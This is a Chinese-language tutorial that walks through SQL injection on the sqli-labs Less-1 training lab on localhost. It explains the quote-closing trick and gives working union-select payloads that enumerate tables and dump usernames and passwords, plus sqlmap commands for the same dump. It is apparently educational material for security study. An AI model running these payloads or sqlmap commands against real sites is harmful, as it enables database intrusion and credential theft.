1. 思路🚀
本关的SQL语句为:
sql
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 注入类型:字符型(单引号包裹)
- 提示:参数
id
需以'
闭合

2. 手工注入步骤🎯
我的地址栏是:http://localhost:8081/Less-1/
,只需要将下面的sql语句粘贴即可。
2.1 正常请求⚡
url
?id=1

说明:测试回显情况
2.2 判断字段数⚡
url
?id=1' order by 4 --+
'
:闭合前引号order by 4
:探测字段数(报错说明字段数=3)--+
:注释后续语句
2.2.1 原始 SQL 语句(正常情况)
如果输入 id=1
,PHP 代码会构造:
sql
SELECT * FROM users WHERE id='1' LIMIT 0,1
'1'
是合法的字符串,SQL 语句正常执行。
2.2.2 改变后SQL语句(异常情况)
你的输入 id=1' order by 4 --+
,PHP 代码拼接后:
sql
SELECT * FROM users WHERE id='1' order by 4 --+' LIMIT 0,1
'1'
→ 原 SQL 的字符串部分'
(你额外添加的单引号)→ 闭合字符串 ,使id='1'
变成id='1' '
(语法错误)order by 4
→ 注入的 SQL 代码--+
→ SQL 注释符,注释掉后面的' LIMIT 0,1
,避免语法错误
2.2.3 最终执行的 SQL
由于 --+
注释了后面的内容,实际执行的是:
sql
SELECT * FROM users WHERE id='1' order by 4
'
的作用 :提前闭合id='...'
的字符串,使后面的order by 4
成为 SQL 语句的一部分,而不是字符串的一部分。

2.3 确定回显位⚡
url
?id=-1' union select 1,2,3 --+
-1
:使前查询无结果union select
:联合查询回显位
2.3.1 为什么常用id=-1 与 union select 搭配?⭐
是因为union select
要求前一个查询返回空,才能显示我们注入的数据:
sql
SELECT * FROM users WHERE id = '-1' UNION SELECT 1,2,3--+
id=-1
不存在 → 前查询返回空 → union select
的数据直接显示。
id=1
存在 → 前查询返回数据 → union select
的数据被忽略(只显示 id=1的结果)。
2.3.2 为什么回显的位置在第二列和第三列⭐
这是因为 页面的 PHP 代码只显示了 username
和 password
字段 ,而 union select
的结果必须和原查询的列数匹配,所以 2
和 3
对应的是页面回显的位置。
查看 PHP 代码:
php
echo 'Your Login name:'. $row['username']; // 第2列
echo 'Your Password:' .$row['password']; // 第3列
$row['username']
→ 对应UNION SELECT
的第 2 个字段(2
)。$row['password']
→ 对应UNION SELECT
的第 3 个字段(3
)。$row['id']
(第1列)没有被显示,所以1
不会出现在页面上。
2.4 获取基础信息⚡
url
?id=-1' union select 1,database(),user() --+
database()
:当前数据库名user()
:当前用户

2.5 获取表名⚡
url
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
group_concat()
:合并多行结果information_schema
:系统数据库information_schema.tables
:系统表table_schema
:数据库名称table_name
:数据表名称

2.6 获取字段⚡
url
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
information_schema.columns
:系统列(字段)column_name
:字段名称

2.7 获取数据⚡
url
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
或者
url
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+

2.8 参数汇总表⭐
参数 | 作用 | 示例 |
---|---|---|
' |
闭合引号 | id=1' |
order by |
判断字段数 | order by 4 |
--+ |
注释符 | --+ |
union select |
联合查询 | union select 1,2,3 |
group_concat() |
合并结果 | group_concat(table_name) |
information_schema |
系统数据库 | from information_schema.tables |
table_schema |
数据库名称 | table_schema='security' |
table_name |
数据表名称 | table_name='users' |
column_name |
字段名称 | group_concat(column_name) |
3. SQLMap工具测试🎯
url
地址换成自己的,后面一定要加上id=1
,比如:http://localhost:8081/Less-1/?id=1
bash
# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-1/?id=1" --batch
# 爆数据库
python sqlmap.py -u "url" --dbs --batch
# 爆表名
python sqlmap.py -u "url" -D security --tables --batch
# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch
# 爆数据
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch
命令1截图:
命令5截图:
SQLMap参数表⭐
参数 | 功能 |
---|---|
--batch |
非交互模式 |
--dbs |
枚举数据库 |
-D |
指定数据库 |
-T |
指定表 |
-C |
指定列 |
--dump |
导出数据 |
4. 总结🏁
- 注入类型:字符型单引号闭合
- 核心步骤:判字段→找回显→爆库→爆表→爆数据
- 工具对比:手工注入适合学习原理,SQLMap适合快速验证
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗